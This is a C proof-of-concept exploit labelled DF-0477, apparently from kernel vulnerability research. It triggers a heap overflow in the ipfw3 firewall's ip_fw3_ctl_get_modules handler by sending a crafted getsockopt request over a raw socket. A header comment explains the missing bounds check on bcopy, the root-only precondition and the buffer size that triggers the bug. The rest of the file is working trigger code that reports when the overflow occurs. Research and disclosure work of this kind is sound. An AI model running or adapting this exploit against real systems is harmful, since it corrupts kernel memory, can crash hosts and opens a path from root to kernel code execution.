DF-0477 / ipfw3_get_modules_overflow.c
/* * DF-0477 PoC - ip_fw3_ctl_get_modules bcopy overflow * * ip_fw3_ctl_get_modules (sys/net/ipfw3/ip_fw3.c:985-987): * bzero(sopt->sopt_val, sopt->sopt_valsize); * bcopy(module_str, sopt->sopt_val, strlen(module_str)); // NO bounds check * sopt->sopt_valsize = strlen(module_str); * * Reached via getsockopt(IPPROTO_IP, IP_FW_X=49) with embedded * ip_fw_x_header{opcode=IP_FW_MODULE=67}; ip_fw3_ctl_x() strips the 4-byte * header (sopt_valsize -= 4) then dispatches to get_modules. * * The kernel kmalloc's sopt_val to the ORIGINAL sopt_valsize. If the caller * passes a small buffer (e.g. 5 = 4 header + 1) and several ipfw3 submodules * are loaded (module_str = "basic,layer2,layer4,nat", ~22 bytes), then * bcopy writes ~22 bytes into a ~8-byte slab chunk => heap overflow. * * Root-only (raw socket SYSCAP_NONET_RAW + kldload). Root->kernel gap. * * Usage: ipfw3_get_modules_overflow <iters> [bufsize=5] * bufsize=256 first to SEE module_str; bufsize=5 to TRIGGER overflow. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> typedef struct { uint16_t opcode; uint16_t pad; } ip_fw_x_header; #define IP_FW_X 49 #define IP_FW_MODULE 67 int main(int argc, char **argv) { int iters = argc > 1 ? atoi(argv[1]) : 1; int bufsize = argc > 2 ? atoi(argv[2]) : 5; if (bufsize < 5) bufsize = 5; /* need >= 4-byte header + 1 */ int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW)"); return 2; } for (int i = 0; i < iters; i++) { unsigned char buf[512]; socklen_t len = bufsize; memset(buf, 0, sizeof(buf)); ip_fw_x_header *xh = (ip_fw_x_header *)buf; xh->opcode = IP_FW_MODULE; xh->pad = 0; int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len); if (i == 0) { printf("bufsize=%d iter %d: getsockopt rc=%d returned_len=%d errno=%d (%s)\n", bufsize, i, rc, (int)len, errno, strerror(errno)); /* returned_len == strlen(module_str) per get_modules. * If returned_len > bufsize-4 (the payload we gave), the kernel * bcopy'd MORE bytes into sopt_val than the payload slot => overflow. */ int payload = bufsize - 4; printf(" payload_slot=%d returned_len=%d %s\n", payload, (int)len, (int)len > payload ? "=> OVERFLOW (bcopy exceeded payload slot)" : "(no overflow)"); printf(" module_str=\""); for (size_t b = 0; b < (size_t)len && b < sizeof(buf); b++) putchar(buf[b] ? buf[b] : '.'); printf("\"\n"); fflush(stdout); } } printf("DF-0477: %d iterations done, bufsize=%d. Kernel %s.\n", iters, bufsize, "still alive"); close(s); return 0; } |